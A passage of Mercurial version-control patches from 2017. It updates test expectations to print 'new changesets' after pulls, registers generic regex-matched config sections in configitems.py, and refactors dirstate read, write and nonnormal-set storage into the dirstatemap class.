   pulling subrepo sub/repo from $TESTTMP/issue1852a/sub/repo (glob)
@@ -1148,6 +1153,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 46cd4aac504c
    subrepository sources for sub/repo differ (glob)
   use (l)ocal source (f42d5c7504a8) or (r)emote source (46cd4aac504c)? l
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-symlink-os-yes-fs-no.py.out b/tests/test-symlink-os-yes-fs-no.py.out
--- a/tests/test-symlink-os-yes-fs-no.py.out
+++ b/tests/test-symlink-os-yes-fs-no.py.out
@@ -3,6 +3,7 @@
 adding manifests
 adding file changes
 added 1 changesets with 4 changes to 4 files
+new changesets d326ae2d01ee
 updating to branch default
 4 files updated, 0 files merged, 0 files removed, 0 files unresolved
 requesting all changes
@@ -10,5 +11,6 @@
 adding manifests
 adding file changes
 added 1 changesets with 4 changes to 4 files
+new changesets d326ae2d01ee
 updating to branch default
 4 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-tag.t b/tests/test-tag.t
--- a/tests/test-tag.t
+++ b/tests/test-tag.t
@@ -624,6 +624,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 6 changes to 3 files (+1 heads)
+  new changesets 9aa4e1292a27:b325cc5b642c
   hook: tag changes detected
   hook: +A 929bca7b18d067cbf3844c3896319a940059d748 t2
   hook: +A 9aa4e1292a27a248f8d07339bed9931d54907be7 t4
diff --git a/tests/test-tags.t b/tests/test-tags.t
--- a/tests/test-tags.t
+++ b/tests/test-tags.t
@@ -669,6 +669,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 2 files
+  new changesets 96ee1d7354c4:40f0358cb314
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-transplant.t b/tests/test-transplant.t
--- a/tests/test-transplant.t
+++ b/tests/test-transplant.t
@@ -262,6 +262,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 17ab29e464c6:d11e3596cc1a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../sameparent
@@ -282,6 +283,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 17ab29e464c6:d11e3596cc1a
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../remote
@@ -339,6 +341,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 17ab29e464c6
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd ../rp
@@ -351,6 +354,7 @@
   added 1 changesets with 1 changes to 1 files
   applying a53251cdf717
   a53251cdf717 transplanted to 8d9279348abb
+  new changesets 37a1297eb21b:8d9279348abb
   $ hg log --template '{rev} {parents} {desc}\n'
   2  b3
   1  b1
@@ -542,6 +546,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 4 files
+  new changesets 17ab29e464c6:a53251cdf717
 
 test "--merge" causing pull from source repository on local host
 
@@ -555,6 +560,7 @@
   added 2 changesets with 2 changes to 2 files
   applying a53251cdf717
   4:a53251cdf717 merged at 4831f4dc831a
+  new changesets 722f4667af76:4831f4dc831a
 
 test interactive transplant
 
@@ -845,6 +851,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 07f494440405
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd binarydest
diff --git a/tests/test-treediscovery-legacy.t b/tests/test-treediscovery-legacy.t
--- a/tests/test-treediscovery-legacy.t
+++ b/tests/test-treediscovery-legacy.t
@@ -155,6 +155,7 @@
   adding manifests
   adding file changes
   added 12 changesets with 24 changes to 2 files
+  new changesets d57206cc072a:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -171,6 +172,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cp $HGRCPATH-nocap $HGRCPATH
@@ -200,6 +202,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets a7892891da29:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -258,6 +261,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ tstart subset2
diff --git a/tests/test-treediscovery.t b/tests/test-treediscovery.t
--- a/tests/test-treediscovery.t
+++ b/tests/test-treediscovery.t
@@ -140,6 +140,7 @@
   adding manifests
   adding file changes
   added 12 changesets with 24 changes to 2 files
+  new changesets d57206cc072a:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -155,6 +156,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg incoming $remote
@@ -183,6 +185,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets a7892891da29:a19bfa7e7328
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -242,6 +245,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ tstart subset2
@@ -293,6 +297,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 12 changes to 2 files
+  new changesets d57206cc072a:d8f638ac69e9
   updating to branch name2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd partial
@@ -318,6 +323,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 6 changes to 2 files (+1 heads)
+  new changesets a7892891da29:e71dbbc70e03
   (run 'hg heads' to see heads)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -364,6 +370,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 6 changes to 2 files (+1 heads)
+  new changesets a7892891da29:e71dbbc70e03
   (run 'hg heads' to see heads)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -400,6 +407,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 6 changes to 2 files (+1 heads)
+  new changesets a7892891da29:e71dbbc70e03
   (run 'hg heads' to see heads)
   $ hg push $remote --new-branch
   pushing to http://localhost:$HGPORT/
@@ -453,6 +461,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets d8f638ac69e9
   (run 'hg update' to get a working copy)
   $ hg incoming $remote
   comparing with http://localhost:$HGPORT/
@@ -484,6 +493,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets d8f638ac69e9
   (run 'hg update' to get a working copy)
   $ hg push $remote --new-branch
   pushing to http://localhost:$HGPORT/
diff --git a/tests/test-treemanifest.t b/tests/test-treemanifest.t
--- a/tests/test-treemanifest.t
+++ b/tests/test-treemanifest.t
@@ -232,6 +232,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 14 changes to 11 files
+  new changesets 5b02a3e8db7e:581ef6037d8b
   updating to branch default
   11 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-mixed
@@ -342,6 +343,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 51cfd7b1e13b
   (run 'hg update' to get a working copy)
   $ hg --config extensions.strip= strip tip
   saved backup bundle to $TESTTMP/repo-mixed/.hg/strip-backup/*-backup.hg (glob)
@@ -654,6 +656,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 18 changes to 8 files
+  new changesets 775704be6f52:523e5c631710
   updating to branch default
   8 files updated, 0 files merged, 0 files removed, 0 files unresolved
 No server errors.
@@ -700,6 +703,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 18 changes to 8 files
+  new changesets 775704be6f52:523e5c631710
   updating to branch default
   8 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd deeprepo-basicstore
@@ -716,6 +720,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 18 changes to 8 files
+  new changesets 775704be6f52:523e5c631710
   updating to branch default
   8 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd deeprepo-encodedstore
@@ -845,6 +850,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 2 files
+  new changesets d84f4c419457:09ab742f3b0f
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd grafted-dir-repo-clone
@@ -855,6 +861,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 73699489fb7c
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Committing a empty commit does not duplicate root treemanifest
diff --git a/tests/test-unionrepo.t b/tests/test-unionrepo.t
--- a/tests/test-unionrepo.t
+++ b/tests/test-unionrepo.t
@@ -126,6 +126,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 11 changes to 6 files (+1 heads)
+  new changesets f093fec0529b:2f0d178c469c
 
   $ hg -R repo3 paths
   default = union:repo1+repo2
diff --git a/tests/test-unrelated-pull.t b/tests/test-unrelated-pull.t
--- a/tests/test-unrelated-pull.t
+++ b/tests/test-unrelated-pull.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 9a79c33a9db3
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg heads
diff --git a/tests/test-up-local-change.t b/tests/test-up-local-change.t
--- a/tests/test-up-local-change.t
+++ b/tests/test-up-local-change.t
@@ -224,6 +224,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets cb9a9f314b8b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg st
 
diff --git a/tests/test-update-dest.t b/tests/test-update-dest.t
--- a/tests/test-update-dest.t
+++ b/tests/test-update-dest.t
@@ -46,3 +46,4 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 8f0162e483d0:048c2cb95949
diff --git a/tests/test-url-rev.t b/tests/test-url-rev.t
--- a/tests/test-url-rev.t
+++ b/tests/test-url-rev.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 1f0dee641bb7:cd2a86ecc814
   updating to branch foo
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507625355 -7200
#      Tue Oct 10 10:49:15 2017 +0200
# Node ID 181d913b17e62f948f9b5436d6d9675008421caf
# Parent  eb586ed5d8cefc99f038b54663ac55ed8e5a367e
configitems: allow for the registration of "generic" config item

Some section can contains arbitrary keys (eg: color, alias, extensions). We
add a way to register some generic config items for them. This is necessary to
get all the config registered. We use a regular expression because some sub-
attributes (eg: hooks.xxx.priority) can define default value on their own.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -8,6 +8,7 @@
 from __future__ import absolute_import
 
 import functools
+import re
 
 from . import (
     encoding,
@@ -33,20 +34,56 @@
     :section: the official config section where to find this item,
        :name: the official name within the section,
     :default: default value for this item,
-    :alias: optional list of tuples as alternatives.
+    :alias: optional list of tuples as alternatives,
+    :generic: this is a generic definition, match name using regular expression.
     """
 
-    def __init__(self, section, name, default=None, alias=()):
+    def __init__(self, section, name, default=None, alias=(),
+                 generic=False, priority=0):
         self.section = section
         self.name = name
         self.default = default
         self.alias = list(alias)
+        self.generic = generic
+        self.priority = priority
+        self._re = None
+        if generic:
+            self._re = re.compile(self.name)
+
+class itemregister(dict):
+    """A specialized dictionary that can handle wild-card selection"""
+
+    def __init__(self):
+        super(itemregister, self).__init__()
+        self._generics = set()
+
+    def update(self, other):
+        super(itemregister, self).update(other)
+        self._generics.update(other._generics)
+
+    def __setitem__(self, key, item):
+        super(itemregister, self).__setitem__(key, item)
+        if item.generic:
+            self._generics.add(item)
+
+    def get(self, key):
+        if key in self:
+            return self[key]
+
+        # search for a matching generic item
+        generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
+        for item in generics:
+            if item._re.match(key):
+                return item
+
+        # fallback to dict get
+        return super(itemregister, self).get(key)
 
 coreitems = {}
 
 def _register(configtable, *args, **kwargs):
     item = configitem(*args, **kwargs)
-    section = configtable.setdefault(item.section, {})
+    section = configtable.setdefault(item.section, itemregister())
     if item.name in section:
         msg = "duplicated config item registration for '%s.%s'"
         raise error.ProgrammingError(msg % (item.section, item.name))
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507487185 -7200
#      Sun Oct 08 20:26:25 2017 +0200
# Node ID 6de7842290b21c2807a543a02b3f4d7c9f6c9066
# Parent  181d913b17e62f948f9b5436d6d9675008421caf
configitems: register the 'alias' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -99,6 +99,10 @@
 
 coreconfigitem = getitemregister(coreitems)
 
+coreconfigitem('alias', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('annotate', 'nodates',
     default=None,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507625368 -7200
#      Tue Oct 10 10:49:28 2017 +0200
# Node ID a0c2a19d64e7c6738cb55991eaf91cbab1d6903b
# Parent  6de7842290b21c2807a543a02b3f4d7c9f6c9066
configitems: register the 'color' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -160,6 +160,10 @@
 coreconfigitem('cmdserver', 'log',
     default=None,
 )
+coreconfigitem('color', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('color', 'mode',
     default='auto',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507489322 -7200
#      Sun Oct 08 21:02:02 2017 +0200
# Node ID dd1357edff37100683f38d73575675d2afc0c563
# Parent  a0c2a19d64e7c6738cb55991eaf91cbab1d6903b
configitems: register the 'committemplate' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -182,6 +182,10 @@
 coreconfigitem('commands', 'update.requiredest',
     default=False,
 )
+coreconfigitem('committemplate', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('debug', 'dirstate.delaywrite',
     default=0,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507487991 -7200
#      Sun Oct 08 20:39:51 2017 +0200
# Node ID e7966337aed0f6688c9e655e65b670b78fdcc95e
# Parent  dd1357edff37100683f38d73575675d2afc0c563
configitems: register the 'defaults' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -189,6 +189,10 @@
 coreconfigitem('debug', 'dirstate.delaywrite',
     default=0,
 )
+coreconfigitem('defaults', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('devel', 'all-warnings',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507625327 -7200
#      Tue Oct 10 10:48:47 2017 +0200
# Node ID 23f891164e59eb0e2c164d9402acf9fa12bf7eec
# Parent  e7966337aed0f6688c9e655e65b670b78fdcc95e
configitems: register the 'extensions' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -412,6 +412,10 @@
 coreconfigitem('experimental', 'updatecheck',
     default=None,
 )
+coreconfigitem('extensions', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('format', 'aggressivemergedeltas',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507905546 -7200
#      Fri Oct 13 16:39:06 2017 +0200
# Node ID 31723cff35fa78c4be6f0445cb65c5e3acac15ca
# Parent  23f891164e59eb0e2c164d9402acf9fa12bf7eec
configitems: register the 'hooks' config section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -446,6 +446,10 @@
 coreconfigitem('format', 'usestore',
     default=True,
 )
+coreconfigitem('hooks', '.*',
+    default=dynamicdefault,
+    generic=True,
+)
 coreconfigitem('hostsecurity', 'ciphers',
     default=None,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507681569 -7200
#      Wed Oct 11 02:26:09 2017 +0200
# Node ID 03f7db5f8e71d4596daf33d9a419e56bab4b4984
# Parent  31723cff35fa78c4be6f0445cb65c5e3acac15ca
configitems: register the 'pager.attend-.*' options

diff --git a/hgext/pager.py b/hgext/pager.py
--- a/hgext/pager.py
+++ b/hgext/pager.py
@@ -56,8 +56,8 @@
 
             for cmd in cmds:
                 var = 'attend-%s' % cmd
-                if ui.config('pager', var):
-                    usepager = ui.configbool('pager', var)
+                if ui.config('pager', var, None):
+                    usepager = ui.configbool('pager', var, True)
                     break
                 if (cmd in attend or
                      (cmd not in ignore and not attend)):
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -498,6 +498,10 @@
 coreconfigitem('merge', 'preferancestor',
         default=lambda: ['*'],
 )
+coreconfigitem('pager', 'attend-.*',
+    default=dynamicdefault,
+    generic=True,
+)
 coreconfigitem('pager', 'ignore',
     default=list,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507690915 -7200
#      Wed Oct 11 05:01:55 2017 +0200
# Node ID ec45d7a6d799582d7c99fb6bd27e27169830983d
# Parent  03f7db5f8e71d4596daf33d9a419e56bab4b4984
configitems: register the 'paths' config section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -520,6 +520,10 @@
 coreconfigitem('paths', 'default-push',
     default=None,
 )
+coreconfigitem('paths', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('phases', 'checksubrepos',
     default='follow',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507490964 -7200
#      Sun Oct 08 21:29:24 2017 +0200
# Node ID 16d73491416b8db667296526740fed2af086452b
# Parent  ec45d7a6d799582d7c99fb6bd27e27169830983d
configitems: register the 'templates' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -662,6 +662,10 @@
 coreconfigitem('sparse', 'missingwarning',
     default=True,
 )
+coreconfigitem('templates', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('trusted', 'groups',
     default=list,
 )
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID e159f217230e0d35f8ce6cdd749f31798e7a9aa2
# Parent  16d73491416b8db667296526740fed2af086452b
dirstate: move _read into dirstatemap

As part of separating the dirstate business logic from the storage, let's move
the read code into the new dirstatemap class.

Differential Revision: https://phab.mercurial-scm.org/D977

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -386,53 +386,11 @@
             raise
 
     def _read(self):
-        self._map = dirstatemap(self._ui, self._opener, self._root)
-
         # ignore HG_PENDING because identity is used only for writing
         self._identity = util.filestat.frompath(
             self._opener.join(self._filename))
-        try:
-            fp = self._map._opendirstatefile()
-            try:
-                st = fp.read()
-            finally:
-                fp.close()
-        except IOError as err:
-            if err.errno != errno.ENOENT:
-                raise
-            return
-        if not st:
-            return
-
-        if util.safehasattr(parsers, 'dict_new_presized'):
-            # Make an estimate of the number of files in the dirstate based on
-            # its size. From a linear regression on a set of real-world repos,
-            # all over 10,000 files, the size of a dirstate entry is 85
-            # bytes. The cost of resizing is significantly higher than the cost
-            # of filling in a larger presized dict, so subtract 20% from the
-            # size.
-            #
-            # This heuristic is imperfect in many ways, so in a future dirstate
-            # format update it makes sense to just record the number of entries
-            # on write.
-            self._map._map = parsers.dict_new_presized(len(st) / 71)
-
-        # Python's garbage collector triggers a GC each time a certain number
-        # of container objects (the number being defined by
-        # gc.get_threshold()) are allocated. parse_dirstate creates a tuple
-        # for each file in the dirstate. The C version then immediately marks
-        # them as not to be tracked by the collector. However, this has no
-        # effect on when GCs are triggered, only on what objects the GC looks
-        # into. This means that O(number of files) GCs are unavoidable.
-        # Depending on when in the process's lifetime the dirstate is parsed,
-        # this can get very expensive. As a workaround, disable GC while
-        # parsing the dirstate.
-        #
-        # (we cannot decorate the function directly since it is in a C module)
-        parse_dirstate = util.nogc(parsers.parse_dirstate)
-        p = parse_dirstate(self._map._map, self._map.copymap, st)
-        if not self._map._dirtyparents:
-            self._map.setparents(*p)
+        self._map = dirstatemap(self._ui, self._opener, self._root)
+        self._map.read()
 
     def invalidate(self):
         '''Causes the next access to reread the dirstate.
@@ -1399,3 +1357,47 @@
     def setparents(self, p1, p2):
         self._parents = (p1, p2)
         self._dirtyparents = True
+
+    def read(self):
+        try:
+            fp = self._opendirstatefile()
+            try:
+                st = fp.read()
+            finally:
+                fp.close()
+        except IOError as err:
+            if err.errno != errno.ENOENT:
+                raise
+            return
+        if not st:
+            return
+
+        if util.safehasattr(parsers, 'dict_new_presized'):
+            # Make an estimate of the number of files in the dirstate based on
+            # its size. From a linear regression on a set of real-world repos,
+            # all over 10,000 files, the size of a dirstate entry is 85
+            # bytes. The cost of resizing is significantly higher than the cost
+            # of filling in a larger presized dict, so subtract 20% from the
+            # size.
+            #
+            # This heuristic is imperfect in many ways, so in a future dirstate
+            # format update it makes sense to just record the number of entries
+            # on write.
+            self._map = parsers.dict_new_presized(len(st) / 71)
+
+        # Python's garbage collector triggers a GC each time a certain number
+        # of container objects (the number being defined by
+        # gc.get_threshold()) are allocated. parse_dirstate creates a tuple
+        # for each file in the dirstate. The C version then immediately marks
+        # them as not to be tracked by the collector. However, this has no
+        # effect on when GCs are triggered, only on what objects the GC looks
+        # into. This means that O(number of files) GCs are unavoidable.
+        # Depending on when in the process's lifetime the dirstate is parsed,
+        # this can get very expensive. As a workaround, disable GC while
+        # parsing the dirstate.
+        #
+        # (we cannot decorate the function directly since it is in a C module)
+        parse_dirstate = util.nogc(parsers.parse_dirstate)
+        p = parse_dirstate(self._map, self.copymap, st)
+        if not self._dirtyparents:
+            self.setparents(*p)
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID e2214632c3a2caf22906dc6622a5877d3a9864ec
# Parent  e159f217230e0d35f8ce6cdd749f31798e7a9aa2
dirstate: move write into dirstatemap

As part of separating the dirstate business logic from the dirstate storage
logic, let's move the serialization code down into dirstatemap.

Differential Revision: https://phab.mercurial-scm.org/D978

diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -739,12 +739,10 @@
                     now = end # trust our estimate that the end is near now
                     break
 
-        st.write(parsers.pack_dirstate(self._map._map, self._map.copymap,
-                                       self._pl, now))
+        self._map.write(st, now)
         self._nonnormalset, self._otherparentset = self._map.nonnormalentries()
-        st.close()
         self._lastnormaltime = 0
-        self._dirty = self._map._dirtyparents = False
+        self._dirty = False
 
     def _dirignore(self, f):
         if f == '.':
@@ -1401,3 +1399,9 @@
         p = parse_dirstate(self._map, self.copymap, st)
         if not self._dirtyparents:
             self.setparents(*p)
+
+    def write(self, st, now):
+        st.write(parsers.pack_dirstate(self._map, self.copymap,
+                                       self.parents(), now))
+        st.close()
+        self._dirtyparents = False
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID 60927b19ed65c8ec58ec36afc515976b5d17d78a
# Parent  e2214632c3a2caf22906dc6622a5877d3a9864ec
dirstate: move nonnormal and otherparent sets to dirstatemap

As part of separating dirstate business logic from storage, let's move the
nonnormal and otherparent storage to the dirstatemap class. This will allow
alternative dirstate storage to persist these sets instead of recomputing them.

Differential Revision: https://phab.mercurial-scm.org/D979

diff --git a/contrib/dirstatenonnormalcheck.py b/contrib/dirstatenonnormalcheck.py
--- a/contrib/dirstatenonnormalcheck.py
+++ b/contrib/dirstatenonnormalcheck.py
@@ -32,9 +32,10 @@
 
 def _checkdirstate(orig, self, arg):
     """Check nonnormal set consistency before and after the call to orig"""
-    checkconsistency(self._ui, orig, self._map, self._nonnormalset, "before")
+    checkconsistency(self._ui, orig, self._map, self._map.nonnormalset,
+                     "before")
     r = orig(self, arg)
-    checkconsistency(self._ui, orig, self._map, self._nonnormalset, "after")
+    checkconsistency(self._ui, orig, self._map, self._map.nonnormalset, "after")
     return r
 
 def extsetup(ui):
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -138,18 +138,6 @@
         return self._identity
 
     @propertycache
-    def _nonnormalset(self):
-        nonnorm, otherparents = self._map.nonnormalentries()
-        self._otherparentset = otherparents
-        return nonnorm
-
-    @propertycache
-    def _otherparentset(self):
-        nonnorm, otherparents = self._map.nonnormalentries()
-        self._nonnormalset = nonnorm
-        return otherparents
-
-    @propertycache
     def _filefoldmap(self):
         return self._map.filefoldmap()
 
@@ -349,7 +337,8 @@
         self._map.setparents(p1, p2)
         copies = {}
         if oldp2 != nullid and p2 == nullid:
-            candidatefiles = self._nonnormalset.union(self._otherparentset)
+            candidatefiles = self._map.nonnormalset.union(
+                                self._map.otherparentset)
             for f in candidatefiles:
                 s = self._map.get(f)
                 if s is None:
@@ -401,8 +390,7 @@
 
         for a in ("_map", "_identity",
                   "_filefoldmap", "_dirfoldmap", "_branch",
-                  "_dirs", "_ignore", "_nonnormalset",
-                  "_otherparentset"):
+                  "_dirs", "_ignore"):
             if a in self.__dict__:
                 delattr(self, a)
         self._lastnormaltime = 0
@@ -460,9 +448,9 @@
         self._updatedfiles.add(f)
         self._map[f] = dirstatetuple(state, mode, size, mtime)
         if state != 'n' or mtime == -1:
-            self._nonnormalset.add(f)
+            self._map.nonnormalset.add(f)
         if size == -2:
-            self._otherparentset.add(f)
+            self._map.otherparentset.add(f)
 
     def normal(self, f):
         '''Mark a file normal and clean.'''
@@ -471,8 +459,8 @@
         self._addpath(f, 'n', s.st_mode,
                       s.st_size & _rangemask, mtime & _rangemask)
         self._map.copymap.pop(f, None)
-        if f in self._nonnormalset:
-            self._nonnormalset.remove(f)
+        if f in self._map.nonnormalset:
+            self._map.nonnormalset.remove(f)
         if mtime > self._lastnormaltime:
             # Remember the most recent modification timeslot for status(),
             # to make sure we won't miss future size-preserving file content
@@ -500,8 +488,8 @@
                     return
         self._addpath(f, 'n', 0, -1, -1)
         self._map.copymap.pop(f, None)
-        if f in self._nonnormalset:
-            self._nonnormalset.remove(f)
+        if f in self._map.nonnormalset:
+            self._map.nonnormalset.remove(f)
 
     def otherparent(self, f):
         '''Mark as coming from the other parent, always dirty.'''
@@ -534,9 +522,9 @@
                     size = -1
                 elif entry[0] == 'n' and entry[2] == -2: # other parent
                     size = -2
-                    self._otherparentset.add(f)
+                    self._map.otherparentset.add(f)
         self._map[f] = dirstatetuple('r', 0, size, 0)
-        self._nonnormalset.add(f)
+        self._map.nonnormalset.add(f)
         if size == 0:
             self._map.copymap.pop(f, None)
 
@@ -552,8 +540,8 @@
             self._dirty = True
             self._droppath(f)
             del self._map[f]
-            if f in self._nonnormalset:
-                self._nonnormalset.remove(f)
+            if f in self._map.nonnormalset:
+                self._map.nonnormalset.remove(f)
             self._map.copymap.pop(f, None)
 
     def _discoverpath(self, path, normed, ignoremissing, exists, storemap):
@@ -632,8 +620,6 @@
 
     def clear(self):
         self._map = dirstatemap(self._ui, self._opener, self._root)
-        self._nonnormalset = set()
-        self._otherparentset = set()
         if "_dirs" in self.__dict__:
             delattr(self, "_dirs")
         self._map.setparents(nullid, nullid)
@@ -687,7 +673,7 @@
                 e = dmap.get(f)
                 if e is not None and e[0] == 'n' and e[3] == now:
                     dmap[f] = dirstatetuple(e[0], e[1], e[2], -1)
-                    self._nonnormalset.add(f)
+                    self._map.nonnormalset.add(f)
 
             # emulate that all 'dirstate.normal' results are written out
             self._lastnormaltime = 0
@@ -740,7 +726,6 @@
                     break
 
         self._map.write(st, now)
-        self._nonnormalset, self._otherparentset = self._map.nonnormalentries()
         self._lastnormaltime = 0
         self._dirty = False
 
@@ -1405,3 +1390,17 @@
                                        self.parents(), now))
         st.close()
         self._dirtyparents = False
+        self.nonnormalset, self.otherparentset = self.nonnormalentries()
+
+    @propertycache
+    def nonnormalset(self):
+        nonnorm, otherparents = self.nonnormalentries()
+        self.otherparentset = otherparents
+        return nonnorm
+
+    @propertycache
+    def otherparentset(self):
+        nonnorm, otherparents = self.nonnormalentries()
+        self.nonnormalset = nonnorm
+        return otherparents
+
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507228481 25200
#      Thu Oct 05 11:34:41 2017 -0700
# Node ID c6ef9a2498a53135d4073dc20aba58e208960bf9
# Parent  60927b19ed65c8ec58ec36afc515976b5d17d78a
dirstate: move identity to dirstatemap

Moving the identity function to the dirstatemap class will allow alternative
